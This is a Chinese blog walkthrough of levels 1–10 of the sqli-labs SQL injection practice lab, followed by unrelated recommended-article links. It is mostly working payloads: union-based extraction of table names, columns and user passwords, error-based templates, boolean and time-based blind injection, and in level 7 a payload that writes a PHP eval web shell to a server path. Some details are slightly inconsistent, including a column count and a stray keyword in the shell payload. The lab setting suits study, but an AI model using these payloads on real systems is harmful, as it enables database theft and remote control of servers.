sqli-labs 1-10关
学习sql注入的必做靶场我终于来尝试一下下了.
第一关
?id=1'时出现
在测试?id=1' and '1'='1,页面正常
?id=1' and '1'='2 页面错误
判断存在单引号字符型注入
判断列数
?id=1' order by 3-- -时正常
?id=1' order by 4-- -时错误
有3列
判断回显点
?id=1' union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1' union select 1,2,database()-- -
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1' union select 1,2,group_concat(password) from users-- -
第二关
由?id=1 and 1=1
?id=1 and 1=2 判断 存在整数型注入
判断列数
?id=1 order by 3时正常
?id=1' order by 4时错误
有3列
判断回显点
?id=1 union select 1,2,3
2,3可回显
后查库,查表,查列,查字段
?id=-1 union select 1,2,database()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
?id=-1 union select 1,2,group_concat(password) from users
第三关
由?id=1' 中报错为
?id=1' and '1'='1 正常
?id=1' and '1'='2 异常
存在注入 又由报错信息构造 1') -- -返回正常 逃逸成功
判断列数
?id=1') order by 3-- -时正常
?id=1') order by 4-- -时错误
有3列
判断回显点
?id=1') union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1') union select 1,2,database()-- -
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1') union select 1,2,group_concat(password) from users-- -
第四关
由?id=1" and "1"="1 返回正常
?id=1" and "1"="2 返回错误
存在双引号字符型注入
与第三关类似构造1") -- -构造逃逸
判断列数
?id=1") order by 3-- -时正常
?id=1") order by 4-- -时错误
有3列
判断回显点
?id=1") union select 1,2,3-- -
2,3可回显
后查库,查表,查列,查字段
?id=-1") union select 1,2,database()-- -
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'-- -
?id=-1") union select 1,2,group_concat(password) from users-- -
第五关
与前面相同我们尝试寻找注入点
?id=1 ?id=1' ?id=1"
?id=1' 报错
又尝试?id=1' and '1'='1 页面正常
和?id=1' and '1'='2 错误
从而判断注入类型为单引号字符型注入
判断列数
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 错误
列数为4
后尝试union select 联合查询
?id=-1' union select 1,2,3-- -
没有显示
考虑报错注入
常用报错注入模板
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度为64位
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
提供floor报错过程,其余两种类似
1.爆库名
?id=-1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
2.爆表名
?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
3.爆列名
?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
4.爆字段内容
?id=-1' union select 1,count(*),concat((select id from emails limit 0,1),'------',floor(rand(0)*2)) as a from information_schema.tables group by a-- -
第六关
与第五关类似
?id=1" and "1"="1 页面正常
?id=1" and "1"="2 页面不正常
存在双引号字符注入
与第五关类似移步第五关
第七关
与前面两关不同,You are in 后提示use outfile...
这触及到了我的只是盲区,只好去看一波大佬们的博客,
1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必修在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的 就是权限,在 windows 下,如果 NTFS 设置得当,是不能读取相关的文件的,当遇到只有 administrators 才能访问的文件,users就别想 load_file 出来。
在实际的注入中,我们有两个难点需要解决: 绝对物理路径 构造有效的畸形语句 (报错爆出绝对路径) 在很多 PHP 程序中,当提交一个错误的 Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务 器的安全将受到严重的威胁。
2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
一 直接将select内容导入到文件
二修改文件结尾
首先判断id=1' 页面错误
?id=1' and '1'='1 页面正常
?id=1' and '1'='2 页面错误
我们尝试?id=1'))-- -成功逃逸
因而此题:mysql注入点,用工具对目标站写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
绝对路径为本地搭建我们只需判断root权限
(select count(*) from mysql.user)>0 回显正常则为最高权限
?id=1')) and (select count(*) from mysql.user)>0-- - 页面正常
我们输入一句话木马后使用蚊剑连接即可
?id=-1')) and union select 1,2,<?php @eval($_POST['cmd']);?> INTO outfile "D:/phpStudy/PHPTutorial/WWW/sqli/less-7/shell.php"-- -
第八关
与前七关不同,输入?id=1 就只有You are in......
输入?id=100
只有两个页面
可以为布尔盲注
常用三个函数 length() ,substr(),与ascii()函数
寻找注入点
当id=1' and '1'='1 页面正常
id=1' and '1'='2 页面错误
存在单引号注入点
判断数据库长度
?id=1' and length(database())>1-- -正常
?id=1' and length(database())=8-- - 正常 则database()的长度为8
//其实我们可以用database()代替数据库库名可不查
查库名的第n个字母
?id=1' and ascii(substr((select database()),n,1))>90 -- -
可手动一个个查
也可burpsuite爆破,也可脚本,dns注入也可
查第n个表名的m个字母 举例为当前数据库的第一个表的第一个字母
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1-- -
查第n个列名的第m个字母 举例为users表1列的第一个字母
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>1-- -
查第n个字段的第m个字母 举例为password列的第一个字段的第一个字母
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>1-- -
第九关
无论输入什么只有一个页面,时间盲注
什么型的自己慢慢试吧
?id=1' and sleep(5)-- -
可得为
判断数据库长度
?id=1' and if(length(database())>1, sleep(5),1)-- -
判断数据库名称
举例
?id=1' and if(ascii(substr((select database()),1,1))>1,sleep(5),1)-- -
爆库名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>1,sleep(5),1)-- -
爆列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),1,1))>1,sleep(5),1)-- -
爆字段
?id=1' and if(ascii(substr((select id from emails limit 0,1),1,1))>1,sleep(5),1)-- -
第十关
与第九关类似
?id=1" and sleep(5)-- - 延迟5秒
判断为双引号字母时间盲注
其余同上
sqli-labs 1-10关的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- Monyer's Game 6~10关过关方法
从Monyer's Game开通到现在,已经有50多人通关了.其中绝大部分人,不管是自己独立完成也好,参考别人也罢,都是自己一步一步过去的.像陆羽兄弟甚至已经为游戏做好了整个通关的教程,在此Monye ...
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-4 这关好坑!!!
这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
随机推荐
- ElementUi——el-select下拉框
<el-select v-model="ruleForm.status" placeholder="请选择状态" @change="styleC ...
- 机器学习 | 详解GBDT在分类场景中的应用原理与公式推导
本文始发于个人公众号:TechFlow,原创不易,求个关注 今天是机器学习专题的第31篇文章,我们一起继续来聊聊GBDT模型. 在上一篇文章当中,我们学习了GBDT这个模型在回归问题当中的原理.GBD ...
- 【Apollo】(1)--- Apollo入门介绍篇
Apollo入门介绍篇 Apollo有一点很好,就是它是由国内携程团队开发,而且文档写的很全,代码也完全开源.如果去了解它也可以直接去看它的官方文档. 一.配置中心概念 1.背景 在实际开发中都会与配 ...
- SpringMVC接受表单数据
@ 目录 pojo addProduct.jsp ProductController showProduct.jsp 测试结果 pojo 新建实体类Product package pojo; publ ...
- JavaScript学习系列博客_26_JavaScript 数组的一些方法
数组的一些方法 - push() - 用来向数组的末尾添加一个或多个元素,并返回数组新的长度 - 语法:数组.push(元素1,元素2,元素N) - pop() - 用来删除数组的最后一个元素,并返回 ...
- Ubutun重启网卡
一.network利用root帐户# service networking restart 或者/etc/init.d/networking restart 二.ifdown/ifup# ifdown ...
- pandas电子表格的读取(pandas中的read_excel)
上面那篇文章中,初步介绍了一个文本文件的读取:接下来介绍另外一种常见的本地数据格式,那就是Excel电子表格,如果读者在学习或者工作中需要使用Python分析某个Excel表格数据,改如何完成第一个的 ...
- python open函数初习
open("路径","打开方式") 打开方式:'r'只读模式,‘w’写模式,‘a’追加模式 ‘b’二进制模式,‘+’读/写模式.例: fh=open(&quo ...
- Newbe.Claptrap 框架入门,第三步 —— 定义 Claptrap,管理商品库存
接上一篇 Newbe.Claptrap 框架入门,第二步 —— 简单业务,清空购物车 ,我们继续要了解一下如何使用 Newbe.Claptrap 框架开发业务.通过本篇阅读,您便可以开始学会添加一个全 ...
- MySQL数据和索引占用空间查询
MySQL数据和索引占用空间查询 查询所有数据库占用磁盘空间大小的SQL语句 SELECT table_schema, -- 数据库名称 concat( TRUNCATE ( sum( data_le ...